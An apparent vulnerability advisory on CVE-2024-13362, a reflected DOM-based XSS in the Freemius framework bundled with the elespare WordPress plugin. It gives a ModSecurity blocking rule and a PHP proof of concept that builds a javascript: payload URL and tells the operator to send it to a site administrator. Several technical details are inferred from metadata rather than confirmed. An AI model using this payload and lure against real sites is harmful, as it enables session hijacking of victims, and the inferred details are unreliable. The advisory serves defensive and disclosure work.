Atomic Edge analysis of CVE-2024-13362 (metadata-based):
This is a Reflected DOM-Based Cross-Site Scripting (XSS) vulnerability in the Freemius framework version 2.10.1, which is embedded in the elespare plugin version 3.3.2. An unauthenticated attacker can inject arbitrary web scripts via the url parameter. The CVSS score is 6.1 (Medium), with network attack vector and requiring user interaction.
Root Cause: The vulnerability stems from insufficient input sanitization and output escaping for the url parameter passed to a JavaScript handler. DOM-based XSS occurs client-side when user input reaches an HTML sink (like innerHTML, document.write, eval) without proper encoding. Based on the CWE-79 classification and Freemius’s architecture (which provides licensing and analytics features), the vulnerable code likely reads the url parameter from the URL query string or hash and dynamically injects it into the DOM. Atomic Edge analysis infers this pattern because reflected DOM XSS typically involves reading a GET parameter and writing it directly into the page without server-side escaping.
Exploitation: An attacker crafts a malicious URL containing the payload in the url parameter. For example:
/wp-content/plugins/elespare/freemius/assets/js/index.html?url=javascript:alert(document.domain)
The user must click the crafted link. Freemius’s JavaScript then reads the url parameter and injects it into the DOM via innerHTML or similar sink, executing the script. Since no authentication is required, any user who clicks the link gets compromised.
Remediation: The patch (version 3.3.4) must sanitize the url parameter before using it in DOM manipulation. The fix should validate the url parameter against an allowlist (e.g., only legitimate URLs) and use safe DOM APIs like textContent or setAttribute with proper encoding. Additionally, output escaping functions (esc_js, esc_url) should be applied at the point where the value enters JavaScript.
Impact: Successful exploitation allows an attacker to execute arbitrary JavaScript in the victim’s browser within the WordPress site context. This can lead to session hijacking, credential theft, defacement, or redirection to malicious sites. The attack does not require any privileges, only a click from the targeted user.
Here you will find our ModSecurity compatible rule to protect against this particular CVE.
SecRule REQUEST_URI "@rx /wp-content/plugins/elespare/freemius/assets/"
"id:20261994,phase:2,deny,status:403,chain,msg:'CVE-2024-13362 - Freemius Reflected XSS via url parameter',severity:'CRITICAL',tag:'CVE-2024-13362'"
SecRule ARGS_GET:url "@rx ^javascript:"
"t:none"
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
<?php
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2024-13362 - Freemius <= 2.10.1 - Reflected DOM-Based Cross-Site Scripting via url Parameter
// This PoC sends a crafted URL to the target and instructs the user to click it.
// Since the vulnerability is DOM-based and requires user interaction,
// the script simulates a malicious link that exploits the elespare plugin's Freemius integration.
$target_url = 'http://example.com'; // CHANGE THIS to the target WordPress site
$payload = 'javascript:alert("CVE-2024-13362")';
// The vulnerable endpoint is likely a Freemius asset file that processes the url parameter.
// Based on the description, the file index.html within Freemius assets reads the url parameter.
$malicious_url = $target_url . '/wp-content/plugins/elespare/freemius/assets/js/index.html?url=' . urlencode($payload);
echo "[+] Atomic Edge CVE-2024-13362 PoCn";
echo "[+] Target: $target_urln";
echo "[+] Crafted malicious URL:n";
echo $malicious_url . "nn";
echo "[+] Send this URL to an administrator or user of the target site.n";
echo "[+] If the vulnerability exists, clicking the link will execute JavaScript in their browser.n";
